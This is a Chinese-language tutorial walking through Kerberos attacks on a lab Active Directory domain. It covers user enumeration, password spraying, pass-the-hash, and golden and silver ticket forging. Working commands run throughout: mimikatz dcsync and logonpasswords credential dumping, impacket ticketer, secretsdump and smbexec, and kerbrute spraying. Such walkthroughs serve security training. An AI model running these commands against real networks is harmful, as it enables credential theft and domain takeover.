域用户枚举
首先我们来看一下域用户枚举,域用户枚举通常发生在AS_REQ阶段,当我们去访问域内某个服务的时候,需要向KDC的AS服务发送AS_REQ请求,请求包中包含了用户名,域名,加密时间戳以及预认证等信息,预认证是通过用户的Hash去加密的时间戳,然后AS服务会去活动目录中查找对应用户Hash进行比对,如果比对成功的话,那么预认证就成功了。
我们前面说到过主要是cname这个字段,用户存在或不存在,以及密码错误和正确的响应包是不一样的。
这里我们先使用MSF对域内用户进行枚举操作。
首先我们在活动目录中创建了如下3个账户。
需要注意的是,如果你使用的是kali,那么需要将dns设置为DC的地址。
这里使用auxiliary/gather/kerberos_enumusers
模块进行枚举。
set rhost dc的ip地址
set user_file 要使用的用户字典
set domain relaysec.com
exploit
可以看到用户已经枚举出来了,zhangsan,lisi,wangwu 。
我们也可以使用kerbrute
这个工具进行枚举。
下载地址如下:
https://github.com/ropnop/kerbrute/releases
./kerbrute_linux_amd64 userenum --dc 10.10.211.130 -d relaysec.com user.txt
也可以使用python版本的。
下载地址如下:
https://github.com/3gstudent/pyKerbrute
python2 EnumADUser.py 10.10.211.130 relaysec.com ../user.txt udp
python2 EnumADUser.py 10.10.211.130 relaysec.com ../user.txt tcp
接下来我们使用wireshark抓包来看一下。
可以看到当用户存在的时候返回包会报错为KRB6KDC_ERR_PREAUTH_REQUITED。
如果用户不存在的时候会报错为
KRBTKDC_ERR_PRINCIPAL_UNKNOWN
。
密码喷洒
既然我们已经搞懂了枚举用户,那么我们现在可以来进行密码喷洒,所谓密码喷洒其实就是使用一个密码跟多个用户名进行比对,其实就相当于一对多的概念。
我们前面说到过,用户名存在或不存在的时候报错是不一样的,那么密码正确和不正确的情况下,报错也是不一样的。所以我们可以进行域内用户的密码喷洒。
我们可以使用kerbrute
工具进行密码喷洒。
./kerbrute_linux_amd64 passwordspray --dc 10.10.211.130 -d relaysec.com user.txt Admin123..
也可以使用DomainPasswordSpray
工具等等。我们来看下wireshark的抓包情况。
我们主要看这三组,其实对应就是如上喷洒出来的lisi,wangwu,zhangsan这三个用户。
可以看到这三组都成功得到了AS_REP响应,而其他并没有得到。
Hash传递
Hash传递是产生在AS_REQ阶段的,也就是预认证阶段发生的,时间戳是通过我们用户的Hash进行加密的,发送到AS服务,AS去活动那个目录中查找到用户Hash进行解密,解密成功的话表示预认证成功,那么如果我们使用域管的Hash加密时间戳的话,就可以造成Hash传递的攻击。
黄金票据攻击
我们前面都知道黄金票据是发生在AS_REP阶段的,它主要伪造的TGT认购权证,所需要的是krbtgt用户的Hash,因为enc-part是通过krbtgt用户的hash进行加密的,所以如果我们可以获取到krbtgt用户hash,那么自然就可以伪造TGT认购权证。
那么制作黄金票据的条件是什么呢?这也是面试的时候经常问到的。
如下条件:
1.域名
2.域的SID值 (Object Security ID)
3.KRBTGT账户NTLM密码哈希
4.需要伪造的用户名 //一般都是域管理员
那么我们首先肯定是需要获取到krbtgt用户的hash,这一般都是拿到域控之后才能获取的到的,所以黄金票据一般也用于权限维持。
这里我们可以直接使用`mimikatz
进行导出。
privilege::debug
lsadump::dcsync /domain:relaysec.com /user:krbtgt
我们将SID和krbtgt用户hash提取出来即可。
需要注意的是这里的502不要加上。前面才是域的SID。
除了这个方式来获取域的SID之外,我们也可以使用wmic
命令来进行获取。
wmic useraccount get name,sid
现在我们已经获取到了域SID以及krbtgt账户的hash,现在我们就可以进行黄金票据攻击了。
首先在win2016这台机器上是无法访问dc的cifs服务的。
现在我们将mimikatz传递上去,使用如下命令进行金票传递。
kerberos::golden /user:administrator(这里是伪造的用户 一般都是域管理员) /domain:relaysec.com(域名) /sid:使用mimikatz导出来的域SID /krbtgt:krbtgt用户的hash /ticket:relaysec.kirbi
然后使用kekeo或者mimikatz将票据注入到内存中。
kerberos::ptt relaysec.kirbi
我们也可以使用impacket套件
这个是我比较喜欢的,直接远程就可以申请。
python3 ticketer.py -domain-sid S-1-5-21-3708176772-1742723060-3616893896 -nthash 020e7d1a8421a3219131c1b7ea106710 -domain relaysec.com administrator
然后通过export
命令导入票据即可。
export KRB5CCNAME=administrator.ccache
然后我们就可以使用secretsdump
工具导出所有用户的Hash。
python3 secretsdump.py -k -no-pass administrator@dc.relaysec.com -dc-ip 10.10.211.130 -just-dc-user administrator
也可以直接访问域控。
python3 smbexec.py -no-pass -k administrator@dc.relaysec.com -dc-ip 10.10.211.130
所以是比较推荐使用impacket
套件的,不推荐使用mimikatz
。
白银票据攻击
我们前面都知道白银票据的话伪造的是ST服务票据,这样的话其实权限就很小了,只能访问特定的服务,比如cifs,winrm,dns等等。
而利用的要求当然也比黄金票据来说比较容易一些。比如说我们拿到了域内普通的域机器也是可以伪造白银票据的,不光是域控。
要求如下:
域名
域的sid
可利用的服务
目标主机的Hash
首先我们需要获取到域的SID,和上面一样,可以使用mimikatz
也可以使用wmic
,这里我们就直接使用wmic
即可。
紧接着我们需要获取到域主机的Hash,这里需要记住的是域内主机的Hash,而不是域用户的hash。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > hash.txt
拿到域主机Hash之后,我们就可以进行伪造了。需要注意的是这里的cmd是以管理员的方式打开的,一般在实战中我们也是提升到system权限之后来打开mimikatz,需要注意的是这里的管理员不是域管理员而是它本机的管理员。
mimikatz.exe "kerberos::golden /domain:relaysec.com /sid:S-1-5-21-3708176772-1742723060-3616893896 /target:dc.relaysec.com /service:cifs /rc4:
54b87e4dd87275461e4ad2285d9dc848 /user:administrator /ticket:admin.kirbi" "exit"
然后我们将票据导入进去。
kerberos::ptt admin.kirbi
导入进去之后我们也可以使用klist进行查看。
最终我们尝试访问DC的cifs服务。
dir \\dc.relaysec.com\c$
成功访问。
如上就是kerberos中的攻击手法了。其它的一些攻击方法可以自行Google,这里就不作演示了。
结束语
文章到这里就暂时结束啦 期待和您的下次相遇!!!